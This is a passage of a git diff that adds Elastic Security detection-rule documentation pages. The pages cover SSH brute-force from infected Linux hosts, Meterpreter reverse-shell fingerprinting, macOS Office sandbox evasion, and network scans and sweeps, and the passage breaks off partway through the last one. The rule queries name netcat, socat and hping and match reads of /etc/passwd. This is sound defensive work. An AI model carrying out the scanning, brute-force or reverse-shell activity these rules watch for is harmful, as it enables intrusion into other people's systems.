b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-malware-driven-ssh-brute-force-attempt.asciidoc new file mode 100644 index 0000000000..427143e8d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-malware-driven-ssh-brute-force-attempt.asciidoc @@ -0,0 +1,235 @@ +[[prebuilt-rule-8-19-20-potential-malware-driven-ssh-brute-force-attempt]] +=== Potential Malware-Driven SSH Brute Force Attempt + +This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Malware-Driven SSH Brute Force Attempt* + + +SSH is a protocol used to securely access remote systems. Adversaries exploit it by deploying malware on compromised Linux hosts to perform brute-force attacks, attempting unauthorized access to other systems. The detection rule identifies such abuse by monitoring high volumes of outbound SSH connection attempts from a single process to external IPs, indicating potential malware activity. + + +*Possible investigation steps* + + +- Review the process executable identified in the alert to determine if it is a legitimate application or potentially malicious. Check for known malware signatures or unusual file paths. +- Analyze the destination IP addresses involved in the connection attempts to identify if they are known malicious hosts or part of a larger attack infrastructure. Use threat intelligence sources to gather more information. +- Examine the host's recent activity logs to identify any unusual behavior or signs of compromise, such as unexpected process executions or changes in system configurations. +- Investigate the specific agent.id associated with the alert to determine if other alerts or suspicious activities have been reported from the same host, indicating a broader compromise. +- Check for any recent changes or updates to the host's software or configurations that could have introduced vulnerabilities exploited by the malware. +- Assess the network traffic patterns from the host to identify any other unusual outbound connections that may indicate additional malicious activity or data exfiltration attempts. + + +*False positive analysis* + + +- High-volume legitimate SSH operations from a single process can trigger alerts. Exclude known safe processes or scripts that perform frequent SSH operations by adding them to an exception list. +- Automated backup or synchronization tools using SSH to connect to external servers may be misidentified. Identify these tools and exclude their process names or IP addresses from the detection rule. +- Development or testing environments where SSH connections are frequently initiated to external systems for legitimate purposes can cause false positives. Document these environments and adjust the rule to exclude their specific IP ranges or process identifiers. +- Security scanning tools that perform SSH checks on external systems might be flagged. Ensure these tools are recognized and their activities are excluded by specifying their process names or IP addresses in the rule exceptions. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network immediately to prevent further unauthorized access attempts and potential spread of malware to other systems. +- Terminate the suspicious process identified by the detection rule to stop ongoing brute-force attempts and reduce the risk of further compromise. +- Conduct a thorough malware scan on the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software. +- Review and reset credentials for any accounts that may have been targeted or compromised during the brute-force attempts to ensure account security. +- Apply security patches and updates to the affected host and any other vulnerable systems to mitigate known vulnerabilities that could be exploited by similar threats. +- Monitor network traffic for any signs of continued or new suspicious activity, particularly focusing on outbound SSH connections, to detect and respond to any further attempts promptly. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on the broader network infrastructure. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version + +| mv_expand event.action + +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + destination.port in (22, 222, 2222, 10022, 2022, 2200, 62612, 8022) and + not ( + cidr_match( + destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) or + process.executable in ( + "/usr/bin/rclone", "/usr/bin/sss_ssh_knownhostsproxy", "/usr/sbin/sshd", "/usr/bin/ssh", + "/usr/local/bin/php", "/usr/sbin/apache2", "/usr/sbin/nginx", "/usr/local/bin/argocd-repo-server", + "/opt/nessus/sbin/nessusd", "/usr/local/bin/source-controller" + ) or + process.executable like "/usr/local/efax/*" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + destination.port, + destination.ip, + process.executable, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, destination.port + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count >= 100 + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| sort Esql.event_count asc + +| keep Esql.*, agent.id, host.name, process.executable, destination.port + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-meterpreter-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-meterpreter-reverse-shell.asciidoc new file mode 100644 index 0000000000..c37145249f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-meterpreter-reverse-shell.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-20-potential-meterpreter-reverse-shell]] +=== Potential Meterpreter Reverse Shell + +This detection rule identifies a sample of suspicious Linux system file reads used for system fingerprinting, leveraged by the Metasploit Meterpreter shell to gather information about the target that it is executing its shell on. Detecting this pattern is indicative of a successful meterpreter shell connection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Meterpreter Reverse Shell* + + +Meterpreter is a sophisticated payload within the Metasploit framework, enabling attackers to execute commands and scripts on compromised systems. Adversaries exploit it to perform system reconnaissance and data exfiltration. The detection rule identifies suspicious file access patterns typical of Meterpreter's system fingerprinting activities, such as reading key system files, indicating a potential reverse shell connection. + + +*Possible investigation steps* + + +- Review the process associated with the alert by examining the process ID (process.pid) and user ID (user.id) to determine if the process is legitimate or potentially malicious. +- Check the host ID (host.id) to identify the specific system where the suspicious activity was detected and assess if it is a high-value target or has been previously compromised. +- Investigate the command history and running processes on the affected host to identify any unusual or unauthorized activities that may indicate a Meterpreter session. +- Analyze network connections from the host to detect any suspicious outbound connections that could suggest a reverse shell communication. +- Examine the file access patterns, particularly the access to files like /etc/machine-id, /etc/passwd, /proc/net/route, /proc/net/ipv6_route, and /proc/net/if_inet6, to understand the context and purpose of these reads and whether they align with normal system operations. +- Correlate the alert with other security events or logs from the same timeframe to identify any additional indicators of compromise or related malicious activities. + + +*False positive analysis* + + +- System administration scripts or tools that perform regular checks on system files like /etc/machine-id or /etc/passwd may trigger this rule. To manage this, identify and whitelist these legitimate processes by their process ID or user ID. +- Backup or monitoring software that accesses network configuration files such as /proc/net/route or /proc/net/ipv6_route can cause false positives. Exclude these applications by adding exceptions for their specific file access patterns. +- Security tools that perform network diagnostics or inventory checks might read files like /proc/net/if_inet6. Review these tools and exclude their known benign activities from triggering the rule. +- Custom scripts used for system health checks or inventory management that access the flagged files should be reviewed. If deemed safe, add them to an exception list based on their host ID or user ID. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further data exfiltration or lateral movement by the attacker. +- Terminate any suspicious processes identified by the detection rule, particularly those associated with the process IDs flagged in the alert. +- Conduct a thorough review of the affected system's logs and file access history to identify any additional unauthorized access or data exfiltration attempts. +- Change all credentials and keys that may have been exposed or compromised on the affected system, especially those related to user accounts identified in the alert. +- Restore the affected system from a known good backup to ensure any malicious changes are removed, and verify the integrity of the restored system. +- Implement network segmentation to limit the potential impact of future attacks and enhance monitoring of critical systems for similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Auditd Manager + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -w /proc/net/ -p r -k audit_proc + -w /etc/machine-id -p wa -k machineid + -w /etc/passwd -p wa -k passwd + + +==== Rule query + + +[source, js] +---------------------------------- +sample by host.id, process.pid, user.id + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/machine-id"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/passwd"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/route"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/ipv6_route"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/if_inet6"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-microsoft-office-sandbox-evasion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-microsoft-office-sandbox-evasion.asciidoc new file mode 100644 index 0000000000..641ad45168 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-microsoft-office-sandbox-evasion.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-potential-microsoft-office-sandbox-evasion]] +=== Potential Microsoft Office Sandbox Evasion + +Identifies the creation of a suspicious zip file prepended with special characters. Sandboxed Microsoft Office applications on macOS are allowed to write files that start with special characters, which can be combined with an AutoStart location to achieve sandbox evasion. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://i.blackhat.com/USA-20/Wednesday/us-20-Wardle-Office-Drama-On-macOS.pdf +* https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/ +* https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Microsoft Office Sandbox Evasion* + + +Microsoft Office applications on macOS operate within a sandbox to limit potential damage from malicious files. However, adversaries can exploit this by creating zip files with special character prefixes, bypassing sandbox restrictions. The detection rule identifies such files, focusing on non-deletion events with specific naming patterns, to flag potential evasion attempts and mitigate risks. + + +*Possible investigation steps* + + +- Review the file creation event details to confirm the presence of a zip file with a name starting with special characters, as indicated by the file.name field. +- Examine the file path and location to determine if it aligns with known AutoStart locations, which could indicate an attempt to achieve persistence. +- Investigate the user account associated with the event to assess if the activity is expected or if the account may have been compromised. +- Check for any related events or activities on the same host around the time of the alert, such as other file creations or modifications, to identify potential patterns or additional suspicious behavior. +- Analyze the host's recent network activity to detect any unusual outbound connections that might suggest data exfiltration or communication with a command and control server. +- Correlate the event with other alerts or logs from the same host or user to build a comprehensive timeline of activities and assess the broader impact or intent. + + +*False positive analysis* + + +- Files with special character prefixes created by legitimate applications or processes, such as temporary files generated by Microsoft Office during normal operations, may trigger the rule. Users can create exceptions for known benign applications that frequently generate such files. +- Automated backup or synchronization tools that compress files into zip archives with special character prefixes might be flagged. Identify these tools and exclude their file creation events from the rule. +- Development or testing environments where zip files with special character prefixes are used for legitimate purposes can cause false positives. Implement exclusions for these environments to prevent unnecessary alerts. +- User-generated zip files with special character prefixes for personal organization or naming conventions may be mistakenly identified. Educate users on naming conventions and adjust the rule to exclude specific user directories if needed. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent further potential spread or data exfiltration. +- Quarantine the suspicious zip file to prevent execution and further analysis. +- Conduct a thorough scan of the system using updated antivirus and endpoint detection tools to identify and remove any additional malicious files or processes. +- Review and secure AutoStart locations on the affected system to prevent unauthorized applications from executing at startup. +- Restore any affected files from a known good backup to ensure system integrity and continuity. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if other systems may be affected. +- Update security policies and endpoint protection configurations to block the creation and execution of files with suspicious naming patterns, enhancing future detection and prevention capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action in ("modification", "rename") and file.name like~ "~$*.zip" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-network-scan-executed-from-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-network-scan-executed-from-host.asciidoc new file mode 100644 index 0000000000..8b8c9562ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-network-scan-executed-from-host.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-potential-network-scan-executed-from-host]] +=== Potential Network Scan Executed From Host + +This threshold rule monitors for the rapid execution of unix utilities that are capable of conducting network scans. Adversaries may leverage built-in tools such as ping, netcat or socat to execute ping sweeps across the network while attempting to evade detection or due to the lack of network mapping tools available on the compromised host. + +*Rule type*: threshold + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Network Scan Executed From Host* + + +In Linux environments, utilities like ping, netcat, and socat are essential for network diagnostics and communication. However, adversaries can exploit these tools to perform network scans, identifying active hosts and services for further exploitation. The detection rule identifies rapid execution of these utilities, signaling potential misuse for network reconnaissance, by monitoring process initiation events linked to these tools. + + +*Possible investigation steps* + + +- Review the process initiation events to confirm the rapid execution of utilities like ping, netcat, or socat by examining the process.name field in the alert. +- Identify the user account associated with the process execution by checking the user information in the event data to determine if the activity aligns with expected behavior. +- Analyze the command line arguments used with the executed utilities by inspecting the process.command_line field to understand the scope and intent of the network scan. +- Correlate the alert with other recent events on the host by reviewing event timestamps and related process activities to identify any patterns or additional suspicious behavior. +- Check network logs or firewall logs for any unusual outbound connections or traffic patterns originating from the host to assess the potential impact of the network scan. +- Investigate the host's recent login history and user activity to determine if there are signs of unauthorized access or compromise that could explain the network scan activity. + + +*False positive analysis* + + +- Routine network diagnostics by system administrators can trigger alerts. To manage this, create exceptions for known administrator accounts or specific IP addresses frequently used for legitimate network diagnostics. +- Automated monitoring scripts that use these utilities for health checks or performance monitoring may cause false positives. Identify and exclude these scripts by their process names or execution paths. +- Scheduled tasks or cron jobs that involve network utilities for maintenance purposes can be mistaken for network scans. Exclude these tasks by their specific scheduling patterns or associated user accounts. +- Security tools that perform regular network sweeps as part of their functionality might be flagged. Whitelist these tools by their process names or hash values to prevent unnecessary alerts. +- Development or testing environments where network utilities are used for testing purposes can generate false positives. Implement exclusions based on environment-specific identifiers or network segments. + + +*Response and remediation* + + +- Isolate the affected host from the network to prevent further reconnaissance or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, such as those involving ping, netcat, or socat, to halt ongoing network scans. +- Conduct a thorough review of the host's process logs and network activity to identify any additional indicators of compromise or related malicious activity. +- Reset credentials and review access permissions for accounts that were active on the compromised host to prevent unauthorized access. +- Apply patches and updates to the host's operating system and installed software to mitigate vulnerabilities that could be exploited by adversaries. +- Enhance network monitoring and logging to detect similar reconnaissance activities in the future, ensuring that alerts are configured to notify security teams promptly. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional hosts or systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(exec or exec_event or executed or process_started or start or ProcessRollup2) and +process.name:(ping or nping or hping or hping2 or hping3 or nc or ncat or netcat or socat) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-network-sweep-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-network-sweep-detected.asciidoc new file mode 100644 index 0000000000..1695f4f5a2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-network-sweep-detected.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-20-potential-network-sweep-detected]] +=== Potential Network Sweep Detected + +This rule identifies a potential network sweep. A network sweep is a method used by attackers to scan a target network, identifying active hosts, open ports, and available services to gather information on vulnerabilities and weaknesses. This reconnaissance helps them plan subsequent attacks and exploit potential entry points for unauthorized access, data theft, or other malicious activities. This rule defines a threshold-based approach to detect multiple connection attempts from a single host to numerous destination hosts over commonly used network services. + +*Rule type*: threshold + +*Rule indices*: + +* packetbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Network +* Tactic: Discovery +* Tactic: 